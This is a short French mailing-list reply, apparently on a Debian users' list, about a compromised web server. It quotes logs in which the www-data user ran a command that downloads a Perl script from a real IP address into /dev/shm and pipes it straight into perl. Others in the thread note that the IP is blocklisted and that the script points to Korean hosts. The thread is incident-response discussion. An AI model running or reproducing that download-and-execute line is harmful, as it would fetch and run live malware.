Re: Machine vérolée

[ptilou <ptilou@gmail.com>]

Le mardi 27 juin 2023 à 12:50:05 UTC+2, Michel Verdier a écrit :
> Le 27 juin 2023 BERTRAND Joël a écrit : 
> 
> > OK, je l'ai. 
> > 
> > 2023-06-27T09:12:18.564606+02:00 rayleigh www-data[10579]: shell -c cd 
> > /dev/shm;wget -O - http://68.235.39.225/sepax|perl 
> > 2023-06-27T09:12:21.381703+02:00 rayleigh www-data[10583]: shell -c cd 
> > /dev/shm;wget -O - http://68.235.39.225/sepax|perl 
> > 
> > J'ai le script perl (mais vous pouvez aussi le télécharger). Je ne sais 
> > toujours pas qui le lance, mais on progresse.
> Bravo ! Le script est intéressant... 
> L'IP est listée : 
> https://check.spamhaus.org/listed/?searchterm=68.235.39.225 
> www.minpop.com semble utilisé dans le script et renvoie à des IP en Corée

Franchement , ceux qui veulent de l’infomatique ( qui le paye) vont se voir prescrire des truc contre les ulcaires quand on sait que le noeud est a Amesterdam …..

— 
Ptilou